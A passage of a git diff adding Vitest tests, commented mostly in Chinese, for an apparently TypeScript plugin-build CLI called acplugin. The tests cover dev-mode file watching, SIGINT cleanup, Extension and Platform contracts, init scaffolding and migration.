context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + return undefined; + }, +}); +export default { + name: 'cli-plugin', + version: '1.0.0', + description: 'Initial signal cleanup fixture.', + extensions: [extension], +}; +`); + /** 首次 success 前就会收到 SIGINT 的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, (_stdout, stderr) => stderr.includes('fixture: initial dev build started'), 'in-flight initial dev build'); + running.child.kill('SIGINT'); + /** 首次 Pipeline 必须完成清理后稳定返回 130,且不得发布 success。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + expect(stopped.stdout).not.toContain('dev: success'); + }, 20_000); + + // signal 可能在动态重建发现新路径之前到达;退出必须等待 Pipeline,并禁止随后注册 watcher 或发布结果。 + it('drains an in-flight dynamic rebuild before closing all dev watchers', async () => { + /** signal 竞态测试使用的初始规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 本轮配置变更才会首次加载的模拟 Extension 包根。 */ + const extensionRoot = path.join(root, 'node_modules/stopping-extension'); + await fs.mkdir(extensionRoot, { recursive: true }); + await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"stopping-extension","type":"module"}\n'); + /** 延迟 discover 结束时才会成为动态监听来源的 descriptor。 */ + const descriptor = path.join(extensionRoot, 'descriptor.ts'); + await fs.writeFile(descriptor, `export default 'stopping-extension';\n`); + /** 持续运行并将在动态重建期间接收 SIGINT 的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial signal fixture build'); + /** 构造延迟 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; +process.stderr.write('fixture: dynamic rebuild started\\n'); +const extension = defineExtension({ + name: 'stopping-extension', + apiVersion: '1', + adapters: [], + async discover(context) { + await new Promise(resolve => setTimeout(resolve, 500)); + await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + return undefined; + }, +}); +export default { + name: 'cli-plugin', + version: '1.0.0', + description: 'Signal cleanup fixture.', + extensions: [extension], +}; +`); + await waitForOutput(running, (_stdout, stderr) => stderr.includes('fixture: dynamic rebuild started'), 'in-flight dynamic rebuild'); + running.child.kill('SIGINT'); + /** signal 必须等待在途 Pipeline 收敛,并最终以 130 退出而不是被新 watcher 挂住。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + expect(stopped.stdout.match(/dev: success/g)).toHaveLength(1); + }, 20_000); + + // Extension descriptor 的已解析依赖位于 node_modules 时,显式包根必须覆盖通用依赖忽略规则。 + it('rebuilds when a loaded Extension descriptor dependency changes', async () => { + /** descriptor 依赖监听测试使用的规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 模拟已安装 Extension 包的源码根。 */ + const extensionRoot = path.join(root, 'node_modules/dev-extension'); + await fs.mkdir(extensionRoot, { recursive: true }); + await fs.writeFile(path.join(extensionRoot, 'package.json'), '{"name":"dev-extension","type":"module"}\n'); + /** descriptor 实际解析的同包依赖文件。 */ + const helper = path.join(extensionRoot, 'helper.ts'); + await fs.writeFile(helper, `export const value = 'first';\n`); + /** discover 通过共享加载器读取且会记录真实包根的 descriptor。 */ + const descriptor = path.join(extensionRoot, 'descriptor.ts'); + await fs.writeFile(descriptor, `import { value } from './helper.ts';\nexport default value;\n`); + /** 构造 Extension 时必须与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; +const extension = defineExtension({ + name: 'dev-extension', + apiVersion: '1', + adapters: [], + async discover(context) { + await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + return undefined; + }, +}); +export default { + name: 'cli-plugin', + version: '1.0.0', + description: 'CLI fixture.', + extensions: [extension], +}; +`); + /** 持续监听 Extension 包依赖的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'descriptor dev build'); + await fs.writeFile(helper, `export const value = 'second';\n`); + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'descriptor dependency rebuild'); + + running.child.kill('SIGINT'); + /** 依赖重建完成后正常响应信号的进程状态。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + }, 20_000); + + it('watches dependency files registered by an Extension build graph', async () => { + /** build graph 监听测试使用的规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 位于默认 node_modules 忽略边界内、只能通过 addWatchFile 激活的依赖。 */ + const helper = path.join(root, 'node_modules/build-graph-helper/value.txt'); + await fs.mkdir(path.dirname(helper), { recursive: true }); + await fs.writeFile(helper, 'first\n'); + /** 构造测试 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import { promises as fs } from 'node:fs'; +import { defineExtension } from ${JSON.stringify(facade)}; +const extension = defineExtension({ + name: 'build-graph-extension', + apiVersion: '1', + adapters: [], + discover() { return {}; }, + async build(context) { + context.addWatchFile(${JSON.stringify(helper)}); + const value = (await fs.readFile(${JSON.stringify(helper)}, 'utf8')).trim(); + process.stderr.write('fixture: build graph ' + value + '\\n'); + return value; + }, +}); +export default { + name: 'cli-plugin', + version: '1.0.0', + description: 'Build graph watch fixture.', + extensions: [extension], + build: { strict: false }, +}; +`); + /** 持续监听 Extension 明确登记依赖的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial build graph build'); + await fs.writeFile(helper, 'second\n'); + await waitForOutput( + running, + (stdout, stderr) => stdout.match(/dev: success/g)?.length === 2 && stderr.includes('fixture: build graph second'), + 'registered build graph dependency rebuild', + ); + + running.child.kill('SIGINT'); + expect((await waitForExit(running)).code).toBe(130); + }, 20_000); + + it('rebuilds a local MCP bundle when its resolved package dependency changes', async () => { + /** 官方 MCP Rolldown 模块图监听测试使用的规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 临时工程按公开包名加载的 MCP Extension 代理目录。 */ + const extensionPackage = path.join(root, 'node_modules/@tokenroll/acplugin-extension-mcp'); + /** 真实 MCP Extension 构建产物入口。 */ + const extensionEntry = path.resolve(import.meta.dirname, '../../extensions/mcp/dist/index.mjs'); + await fs.mkdir(extensionPackage, { recursive: true }); + await fs.writeFile(path.join(extensionPackage, 'package.json'), JSON.stringify({ + name: '@tokenroll/acplugin-extension-mcp', + version: '1.0.0', + type: 'module', + exports: './index.mjs', + })); + await fs.writeFile( + path.join(extensionPackage, 'index.mjs'), + `export * from ${JSON.stringify(extensionEntry)}; export { default } from ${JSON.stringify(extensionEntry)};\n`, + ); + /** 只通过 Server import graph 可达、且位于默认忽略目录的测试依赖。 */ + const helperPackage = path.join(root, 'node_modules/mcp-watch-helper'); + await fs.mkdir(helperPackage, { recursive: true }); + await fs.writeFile(path.join(helperPackage, 'package.json'), JSON.stringify({ + name: 'mcp-watch-helper', version: '1.0.0', type: 'module', exports: './index.js', license: 'MIT', + })); + await fs.writeFile(path.join(helperPackage, 'LICENSE'), 'MCP watch fixture license.\n'); + await fs.writeFile(path.join(helperPackage, 'index.js'), 'export const serverName = "first-server";\n'); + await fs.mkdir(path.join(root, 'src/mcp/local-tools'), { recursive: true }); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/mcp.ts'), ` +import { defineMcpServer } from '@tokenroll/acplugin-extension-mcp'; +export default defineMcpServer({ transport: 'stdio' }); +`); + await fs.writeFile(path.join(root, 'src/mcp/local-tools/server.ts'), ` +import { serverName } from 'mcp-watch-helper'; +let buffer = ''; +process.stdin.setEncoding('utf8'); +process.stdin.on('data', (chunk) => { + buffer += chunk; + const lines = buffer.split('\\n'); + buffer = lines.pop() ?? ''; + for (const line of lines.filter(Boolean)) { + const message = JSON.parse(line); + if (message.method === 'initialize') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { + protocolVersion: message.params.protocolVersion, + capabilities: { tools: {} }, + serverInfo: { name: serverName, version: '1.0.0' }, + } }) + '\\n'); + } else if (message.method === 'tools/list') { + process.stdout.write(JSON.stringify({ jsonrpc: '2.0', id: message.id, result: { tools: [] } }) + '\\n'); + } + } +}); +`); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), ` +import mcp from '@tokenroll/acplugin-extension-mcp'; +export default { + name: 'mcp-watch-plugin', + version: '1.0.0', + description: 'MCP bundle watch fixture.', + extensions: [mcp()], + build: { strict: false }, +}; +`); + /** 持续监听官方 MCP Bundle 模块图的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'initial MCP graph build'); + /** 首次生成的 MCP Server 应内联依赖原始值。 */ + const generated = path.join(root, 'dist/codex/plugin/mcp/local-tools/server.mjs'); + expect(await fs.readFile(generated, 'utf8')).toContain('first-server'); + await fs.writeFile(path.join(helperPackage, 'index.js'), 'export const serverName = "second-server";\n'); + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'MCP package dependency rebuild'); + expect(await fs.readFile(generated, 'utf8')).toContain('second-server'); + + running.child.kill('SIGINT'); + expect((await waitForExit(running)).code).toBe(130); + }, 20_000); + + // 目录名 dist 不是固定输出语义;自定义 outDir 后它可以合法承载规范源码或 Public。 + it('watches a custom srcDir named dist while excluding only the resolved outDir', async () => { + /** 自定义源码与输出目录测试使用的工程根。 */ + const root = await temporaryProject(); + await fs.writeFile(path.join(root, 'package.json'), '{"name":"custom-source-plugin","type":"module"}\n'); + /** 名为 dist 的合法源码目录及其最小 Skill。 */ + const skill = path.join(root, 'dist/skills/hello/SKILL.md'); + await fs.mkdir(path.dirname(skill), { recursive: true }); + await fs.writeFile(skill, `--- +description: Say hello from a custom source directory. +--- +First custom source build. +`); + /** 位于工程包内、最近 package root 等于 projectRoot 的本地 descriptor。 */ + const descriptor = path.join(root, 'extension/descriptor.ts'); + await fs.mkdir(path.dirname(descriptor), { recursive: true }); + await fs.writeFile(descriptor, `export default 'local';\n`); + /** 构造本地 Extension 时与 CLI Bundle 共享品牌 Symbol 的已构建 Facade。 */ + const facade = path.resolve(import.meta.dirname, '../../acplugin/dist/index.mjs'); + await fs.writeFile(path.join(root, 'acplugin.config.ts'), `import { defineExtension } from ${JSON.stringify(facade)}; +const extension = defineExtension({ + name: 'local-extension', + apiVersion: '1', + adapters: [], + async discover(context) { + await context.loadTypeScriptModule(${JSON.stringify(descriptor)}); + return undefined; + }, +}); +export default { + name: 'custom-source-plugin', + version: '1.0.0', + description: 'Custom source fixture.', + srcDir: 'dist', + build: { outDir: 'output' }, + extensions: [extension], +}; +`); + /** 只排除解析后 output 的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict'], root); + + await waitForOutput(running, stdout => stdout.includes('dev: success'), 'custom source dev build'); + /** 把一次编辑拆成跨越基础防抖窗口的两段写入,模拟 macOS FSEvents 的延迟 change。 */ + const skillHandle = await fs.open(skill, 'w'); + try { + await skillHandle.writeFile(`--- +description: Say hello from a custom source directory. +--- +Second custom source build. +`); + await new Promise(resolve => setTimeout(resolve, 70)); + await skillHandle.writeFile('Additional content from the same editor save.\n'); + } finally { + await skillHandle.close(); + } + await waitForOutput(running, stdout => stdout.match(/dev: success/g)?.length === 2, 'custom source rebuild'); + /** 第二次重建写入自定义 outDir 的最终 Codex Skill。 */ + const generated = path.join(root, 'output/codex/plugin/skills/hello/SKILL.md'); + expect(await fs.readFile(generated, 'utf8')).toContain('Second custom source build.'); + // 等待可能由 outDir 交换错误触发的额外事件,确认监听不会形成自激重建循环。 + await new Promise(resolve => setTimeout(resolve, 250)); + expect(running.stdout().match(/dev: success/g)).toHaveLength(2); + + running.child.kill('SIGINT'); + /** 自定义目录重建完成后的信号退出状态。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + }, 20_000); + + // JSON dev 需要跨多次重建保持 stdout 为空,直到退出时才能形成一个完整文档。 + it('emits exactly one final JSON document after multiple dev rebuilds', async () => { + /** JSON dev 流测试使用的规范工程根。 */ + const root = await temporaryProject(); + await writeValidProject(root); + /** 触发第二次成功重建的 Skill 源文件。 */ + const skill = path.join(root, 'src/skills/hello/SKILL.md'); + /** JSON 模式持续运行的真实 dev 子进程。 */ + const running = startCli(['dev', '--no-strict', '--json'], root); + + await waitForOutput(running, (_stdout, stderr) => stderr.includes('dev: success'), 'initial JSON dev build'); + expect(running.stdout()).toBe(''); + await fs.writeFile(skill, `--- +description: Say hello in JSON mode. +--- +Say hello after a JSON rebuild. +`); + await waitForOutput(running, (_stdout, stderr) => stderr.match(/dev: success/g)?.length === 2, 'second JSON dev build'); + expect(running.stdout()).toBe(''); + + running.child.kill('SIGINT'); + /** SIGINT 后只包含最终 BuildResult 的进程输出。 */ + const stopped = await waitForExit(running); + expect(stopped.code).toBe(130); + expect(JSON.parse(stopped.stdout)).toMatchObject({ command: 'dev', success: true, committed: true }); + }, 20_000); }); diff --git a/packages/test/test/codex.test.ts b/packages/test/test/codex.test.ts new file mode 100644 index 0000000..7798d0d --- /dev/null +++ b/packages/test/test/codex.test.ts @@ -0,0 +1,78 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; +import { codex } from '@tokenroll/acplugin'; +import { PLATFORM_ID } from '@tokenroll/acplugin/platforms/codex'; + +/** 跨包契约测试读取源码边界时使用的仓库根目录。 */ +const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); + +/** + * 递归读取 Codex Platform 的全部 TypeScript 源码。 + * + * @param directory 当前需要遍历的源码目录。 + * @returns 按文件名稳定排序并拼接后的源码文本。 + */ +async function platformSources(directory: string): Promise { + /** 当前目录按名称排序后的文件系统项。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => left.name.localeCompare(right.name, 'en')); + /** 当前目录与全部子目录累计的 TypeScript 源码。 */ + const sources: string[] = []; + for (const entry of entries) { + /** 当前目录项的绝对路径。 */ + const target = path.join(directory, entry.name); + if (entry.isDirectory()) + sources.push(await platformSources(target)); + else if (entry.isFile() && entry.name.endsWith('.ts')) + sources.push(await fs.readFile(target, 'utf8')); + } + return sources.join('\n'); +} + +describe('Codex public Platform integration', () => { + it('re-exports the private Platform factory with typed interface and Marketplace policy', () => { + /** 通过正式公开主包创建的 Codex Platform。 */ + const platform = codex({ + strict: false, + interface: { + category: 'Developer Tools', + capabilities: ['Review changes'], + defaultPrompt: 'Review this change.', + }, + marketplace: { + displayName: 'TokenRoll Plugins', + policy: { installation: 'INSTALLED_BY_DEFAULT' }, + }, + }); + + expect(platform.id).toBe(PLATFORM_ID); + expect(platform.strict).toBe(false); + expect(platform.deliveryType).toBe('plugin'); + expect(platform.options).toEqual({ + interface: { + category: 'Developer Tools', + capabilities: ['Review changes'], + defaultPrompt: 'Review this change.', + }, + marketplace: { + displayName: 'TokenRoll Plugins', + policy: { installation: 'INSTALLED_BY_DEFAULT' }, + }, + }); + expect(Object.isFrozen(platform.options)).toBe(true); + expect(Object.isFrozen(platform.options!.interface)).toBe(true); + expect(Object.isFrozen(platform.options!.marketplace)).toBe(true); + }); + + it('keeps Hooks and MCP implementation packages outside the Platform dependency boundary', async () => { + /** Codex 私有 Platform 的完整源码文本。 */ + const source = await platformSources(path.join(repositoryRoot, 'packages/platforms/codex/src')); + + expect(source).not.toContain('@tokenroll/acplugin-extension-hooks'); + expect(source).not.toContain('@tokenroll/acplugin-extension-mcp'); + expect(source).not.toContain('@tokenroll/acplugin-module-hooks'); + expect(source).not.toContain('@tokenroll/acplugin-module-mcp'); + }); +}); diff --git a/packages/test/test/ecosystem-contract.test.ts b/packages/test/test/ecosystem-contract.test.ts new file mode 100644 index 0000000..86156cb --- /dev/null +++ b/packages/test/test/ecosystem-contract.test.ts @@ -0,0 +1,145 @@ +import { promises as fs } from 'node:fs'; +import os from 'node:os'; +import path from 'node:path'; +import { afterEach, describe, expect, it } from 'vitest'; +import { + bytesArtifact, + defineExtension, + definePlatform, + stableJson, +} from '@tokenroll/acplugin'; +import { + executeLifecycle, + type ResolvedConfig, +} from '@acplugin/core'; + +/** 生态契约测试创建并统一清理的临时工程。 */ +const temporaryRoots: string[] = []; + +/** + * 创建不包含内置 Platform 假设的空作者工程。 + * + * @returns 已登记清理的工程绝对路径。 + */ +async function temporaryProject(): Promise { + /** 当前测试独占的工程根。 */ + const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-ecosystem-contract-')); + temporaryRoots.push(root); + await fs.mkdir(path.join(root, 'src'), { recursive: true }); + return root; +} + +afterEach(async () => { + await Promise.all(temporaryRoots.splice(0).map(root => fs.rm(root, { recursive: true, force: true }))); +}); + +describe('third-party ecosystem contract', () => { + it('executes public factory-created Platform, Extension, and Adapter objects through Core', async () => { + /** 用公开主包工厂创建且不依赖任何内置实现的虚拟 Platform。 */ + const platform = definePlatform({ + id: 'ecosystem-fixture', + apiVersion: '1', + deliveryType: 'plugin', + options: { manifest: { channel: 'stable' } }, + /** prepare 创建可供 Adapter 增量扩展的 Manifest Draft。 */ + prepare(context) { + expect(context.options).toEqual({ manifest: { channel: 'stable' } }); + context.reportMetadata({ + field: 'name', + disposition: 'emitted', + output: 'plugin.json.name', + reason: 'The virtual manifest preserves the canonical name.', + }); + return { + documents: [{ + id: 'plugin-manifest', + path: 'plugin.json', + format: 'json', + owner: 'platform:ecosystem-fixture', + value: { name: context.project.metadata.name, extensions: {} }, + extensionPoints: [['extensions', 'bridge']], + }], + artifacts: [], + }; + }, + /** generateBundle 将合并后的 Document 与 Artifact 序列化为主单元。 */ + generateBundle(context) { + /** Adapter patch 完成后的 Manifest 文档。 */ + const manifest = context.documents.find(document => document.id === 'plugin-manifest')!; + return { + id: 'plugin', + role: 'primary', + type: 'plugin', + artifacts: [ + ...context.artifacts, + bytesArtifact('plugin.json', stableJson(manifest.value)), + ], + }; + }, + /** validateBundle 接受当前虚拟 Platform 的已物化候选。 */ + validateBundle: () => undefined, + }); + /** 用公开主包工厂创建并桥接虚拟 Platform 的第三方 Extension。 */ + const extension = defineExtension({ + name: 'ecosystem-bridge', + apiVersion: '1', + /** discover 返回 Extension 在 Fixture 中发现的最小状态。 */ + discover: () => ({ enabled: true }), + /** build 把已发现状态作为跨 Platform 的 Built State。 */ + build: (_context, discovered) => discovered, + adapters: [{ + extensionApiVersion: '1', + platform: platform.id, + platformApiVersion: '1', + /** apply 只通过 add-only Context 修改当前 Platform Draft。 */ + apply(context, built) { + context.patchDocument({ + document: 'plugin-manifest', + path: ['extensions', 'bridge'], + value: built, + }); + context.emitArtifact(bytesArtifact('bridge/state.txt', 'enabled')); + }, + }], + }); + /** 手工组装仅供私有 Core 集成测试使用的已解析配置边界。 */ + const root = await temporaryProject(); + /** 直接执行 Core 所需的完整 ResolvedConfig Fixture。 */ + const config = { + root, + configPath: path.join(root, 'acplugin.config.ts'), + command: 'validate', + mode: 'production', + metadata: { name: 'ecosystem-test', version: '1.0.0', description: 'Ecosystem contract.' }, + srcDir: path.join(root, 'src'), + public: { enabled: false, dir: path.join(root, 'public') }, + platforms: [{ platform, strict: true }], + extensions: [extension], + outDir: path.join(root, 'dist'), + strict: true, + } as unknown as ResolvedConfig; + + /** 第三方 Platform、Extension 与 Adapter 共同运行的生命周期结果。 */ + const result = await executeLifecycle({ + config, + /** loadTypeScriptModule 在当前 Fixture 中不需要加载任何作者模块。 */ + loadTypeScriptModule: async () => undefined, + environment: {}, + }); + + expect(result.success).toBe(true); + expect(result.deliveryUnits).toEqual([ + expect.objectContaining({ + platform: 'ecosystem-fixture', + id: 'plugin', + artifacts: expect.arrayContaining([ + expect.objectContaining({ path: 'plugin.json', owner: 'platform:ecosystem-fixture' }), + expect.objectContaining({ path: 'bridge/state.txt', owner: 'extension:ecosystem-bridge' }), + ]), + }), + ]); + expect(result.metadata).toEqual([ + expect.objectContaining({ platform: 'ecosystem-fixture', field: 'name', disposition: 'emitted' }), + ]); + }); +}); diff --git a/packages/test/test/extension-api.types.ts b/packages/test/test/extension-api.types.ts new file mode 100644 index 0000000..7ad91ce --- /dev/null +++ b/packages/test/test/extension-api.types.ts @@ -0,0 +1,25 @@ +import hooks from '@tokenroll/acplugin-extension-hooks'; +import mcp from '@tokenroll/acplugin-extension-mcp'; +import { + defineConfig, + type AcpluginExtension, +} from '@tokenroll/acplugin'; + +/** + * 验证两个公开 Extension 的声明只依赖主包正式生态类型。 + */ +export function verifyExtensionDeclarationTypes(): void { + /** Hooks 工厂返回的品牌化公开 Extension。 */ + const hooksExtension: AcpluginExtension = hooks({ include: ['format'] }); + /** MCP 工厂返回的品牌化公开 Extension。 */ + const mcpExtension: AcpluginExtension = mcp({ include: ['docs'] }); + /** 消费者只安装三个公开包时能够解析的最终配置。 */ + const config = defineConfig({ + name: 'extension-declaration-consumer', + version: '1.0.0', + description: 'Verify public Extension declarations.', + extensions: [hooksExtension, mcpExtension], + }); + + void config; +} diff --git a/packages/test/test/hooks.test.ts b/packages/test/test/hooks.test.ts new file mode 100644 index 0000000..af162fc --- /dev/null +++ b/packages/test/test/hooks.test.ts @@ -0,0 +1,92 @@ +import { promises as fs } from 'node:fs'; +import path from 'node:path'; +import { fileURLToPath } from 'node:url'; +import { describe, expect, it } from 'vitest'; +import hooks, { + CLAUDE_CODE_PLATFORM_EVENTS, + defineHook, + EXTENSION_NAME, + HOOK_EVENTS, +} from '@tokenroll/acplugin-extension-hooks'; + +/** 跨包 Hooks 契约测试使用的仓库根目录。 */ +const repositoryRoot = fileURLToPath(new URL('../../..', import.meta.url)); + +/** + * 递归读取一个源码目录中的全部 TypeScript 文件。 + * + * @param directory 当前需要遍历的绝对目录。 + * @returns 按路径稳定拼接的源码文本。 + */ +async function sourceTree(directory: string): Promise { + /** 当前目录按名称稳定排序的文件系统项。 */ + const entries = (await fs.readdir(directory, { withFileTypes: true })) + .sort((left, right) => left.name.localeCompare(right.name, 'en')); + /** 当前目录和子目录累计的 TypeScript 源码。 */ + const sources: string[] = []; + for (const entry of entries) { + /** 当前目录项的绝对路径。 */ + const target = path.join(directory, entry.name); + if (entry.isDirectory()) + sources.push(await sourceTree(target)); + else if (entry.isFile() && entry.name.endsWith('.ts')) + sources.push(await fs.readFile(target, 'utf8')); + } + return sources.join('\n'); +} + +describe('official Hooks Extension ecosystem contract', () => { + it('exposes the canonical author API and all six official Platform Adapters', () => { + /** 从正式公开包创建的 Hooks Extension。 */ + const extension = hooks(); + /** 通过公开 defineHook 创建的品牌化作者定义。 */ + const definition = defineHook({ + event: 'SessionStart', + /** 空实现只用于验证公开品牌和事件字段。 */ + run() {}, + }); + + expect(EXTENSION_NAME).toBe('@tokenroll/acplugin-extension-hooks'); + expect(extension.name).toBe(EXTENSION_NAME); + expect(extension.adapters.map(adapter => adapter.platform)).toEqual([ + 'claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi', + ]); + expect(Object.isFrozen(extension)).toBe(true); + expect(Object.isFrozen(extension.adapters)).toBe(true); + expect(definition.event).toBe('SessionStart'); + expect(Object.isFrozen(definition)).toBe(true); + expect(HOOK_EVENTS).toEqual([ + 'SessionStart', 'SessionEnd', 'UserPromptSubmit', 'PreToolUse', + 'PermissionRequest', 'PostToolUse', 'PreCompact', 'PostCompact', + 'SubagentStart', 'SubagentStop', 'Stop', + ]); + expect(CLAUDE_CODE_PLATFORM_EVENTS).toContain('Setup'); + expect(CLAUDE_CODE_PLATFORM_EVENTS).toContain('ElicitationResult'); + }); + + it('keeps Platform packages independent and removes the retired Hooks Module implementation', async () => { + /** Hooks Extension 发布包的 workspace manifest。 */ + const manifest = JSON.parse(await fs.readFile( + path.join(repositoryRoot, 'packages/extensions/hooks/package.json'), + 'utf8', + )) as { + readonly name: string; + readonly peerDependencies?: Record; + readonly dependencies?: Record; + }; + /** Claude Code 与 Codex Platform 的完整生产源码。 */ + const platforms = await Promise.all([ + sourceTree(path.join(repositoryRoot, 'packages/platforms/claude-code/src')), + sourceTree(path.join(repositoryRoot, 'packages/platforms/codex/src')), + ]); + /** Hooks Extension 自身的完整生产源码。 */ + const extensionSource = await sourceTree(path.join(repositoryRoot, 'packages/extensions/hooks/src')); + + expect(manifest.name).toBe('@tokenroll/acplugin-extension-hooks'); + expect(manifest.peerDependencies).toEqual({ '@tokenroll/acplugin': 'workspace:^' }); + expect(manifest.dependencies).toEqual({ rolldown: 'catalog:' }); + expect(platforms.join('\n')).not.toContain('@tokenroll/acplugin-extension-hooks'); + expect(extensionSource).not.toMatch(/\b(?:AcpluginModule|ModuleGenerateContext|TargetContribution|TargetId)\b/); + await expect(fs.access(path.join(repositoryRoot, 'packages/module-hooks'))).rejects.toThrow(); + }); +}); diff --git a/packages/test/test/init.test.ts b/packages/test/test/init.test.ts index 8e9558c..6299037 100644 --- a/packages/test/test/init.test.ts +++ b/packages/test/test/init.test.ts @@ -12,31 +12,57 @@ afterEach(async () => { }); describe('init', () => { - it('creates the minimal strict dual-target project without fake Module source', async () => { + it('creates the minimal strict dual-Platform project without fake Extension source', async () => { + /** 最小工程脚手架测试使用的父目录。 */ const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); roots.push(cwd); + /** 非交互初始化返回的脚手架摘要。 */ const result = await initializeProject({ cwd, directory: 'demo-plugin', yes: true }); expect(result.directory).toBe('demo-plugin'); - expect(result.modules).toEqual([]); + expect(result.platforms).toEqual(['claude-code', 'codex']); + expect(result.extensions).toEqual([]); + expect(await fs.readFile(path.join(cwd, 'demo-plugin/acplugin.config.ts'), 'utf8')) + .toContain('platforms: [claudeCode(), codex()]'); expect(await fs.readFile(path.join(cwd, 'demo-plugin/src/skills/demo-plugin/SKILL.md'), 'utf8')).toContain('description:'); expect(JSON.parse(await fs.readFile(path.join(cwd, 'demo-plugin/package.json'), 'utf8'))).toMatchObject({ devDependencies: { typescript: '^7.0.2' }, }); }); - it('adds selected Modules without generating fake handlers or servers', async () => { + it('adds selected Extensions without generating fake handlers or servers', async () => { + /** 可选 Extension 脚手架测试使用的父目录。 */ const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); roots.push(cwd); - await initializeProject({ cwd, directory: 'module-plugin', yes: true, hooks: true, mcp: true }); - const project = path.join(cwd, 'module-plugin'); + await initializeProject({ cwd, directory: 'extension-plugin', yes: true, hooks: true, mcp: true }); + /** 已生成工程的绝对路径。 */ + const project = path.join(cwd, 'extension-plugin'); - expect(await fs.readFile(path.join(project, 'acplugin.config.ts'), 'utf8')).toContain('modules: [hooks(), mcp()]'); - await expect(fs.access(path.join(project, 'src/hooks'))).rejects.toThrow(); - await expect(fs.access(path.join(project, 'src/mcp'))).rejects.toThrow(); + expect(await fs.readFile(path.join(project, 'acplugin.config.ts'), 'utf8')).toContain('extensions: [hooks(), mcp()]'); + expect(await fs.readdir(path.join(project, 'src/hooks'))).toEqual([]); + expect(await fs.readdir(path.join(project, 'src/mcp'))).toEqual([]); + }); + + it('writes any explicit subset of the six official Platform factories', async () => { + /** 六 Platform 脚手架测试使用的父目录。 */ + const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); + roots.push(cwd); + /** 显式选择所有内置 Platform 的初始化结果。 */ + const result = await initializeProject({ + cwd, + directory: 'all-platforms', + yes: true, + platforms: ['claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi'], + }); + /** 需要能被 TypeScript 配置加载器执行的配置源码。 */ + const config = await fs.readFile(path.join(cwd, 'all-platforms/acplugin.config.ts'), 'utf8'); + + expect(result.platforms).toEqual(['claude-code', 'codex', 'cursor', 'antigravity', 'opencode', 'pi']); + expect(config).toContain('claudeCode(), codex(), cursor(), antigravity(), openCode(), pi()'); }); it('refuses a non-empty destination', async () => { + /** 非空目标拒绝测试使用的父目录。 */ const cwd = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-init-test-')); roots.push(cwd); await fs.mkdir(path.join(cwd, 'existing')); diff --git a/packages/test/test/legacy-api.types.ts b/packages/test/test/legacy-api.types.ts new file mode 100644 index 0000000..858d264 --- /dev/null +++ b/packages/test/test/legacy-api.types.ts @@ -0,0 +1,10 @@ +// @ts-expect-error 1.0 主入口不再公开旧 Module、Target 或 Compiler 生态类型。 +import type { AcpluginModule, TargetId } from '@tokenroll/acplugin'; + +/** + * 仅用于让 TypeScript 保留上方负向公开 API 断言。 + */ +export function verifyLegacyApiIsPrivate(): void { + void (undefined as unknown as AcpluginModule); + void (undefined as unknown as TargetId); +} diff --git a/packages/test/test/migration.test.ts b/packages/test/test/migration.test.ts index 84d393e..ad2cb45 100644 --- a/packages/test/test/migration.test.ts +++ b/packages/test/test/migration.test.ts @@ -1,3 +1,4 @@ +import { createHash } from 'node:crypto'; import { promises as fs } from 'node:fs'; import os from 'node:os'; import path from 'node:path'; @@ -22,9 +23,12 @@ describe('legacy Migration', () => { }); it('creates a canonical project and preserves unmapped resources in a sidecar', async () => { + /** 正常迁移测试使用的临时工作目录。 */ const root = await fs.mkdtemp(path.join(os.tmpdir(), 'acplugin-migration-test-')); roots.push(root); + /** 固定旧 Claude 工程 Fixture 的迁移来源。 */ const source = legacyProjectFixture; + /** 规范工程和未映射 Sidecar 的迁移报告。 */ const report = await migrate({ cwd: root, source, @@ -35,7 +39,11 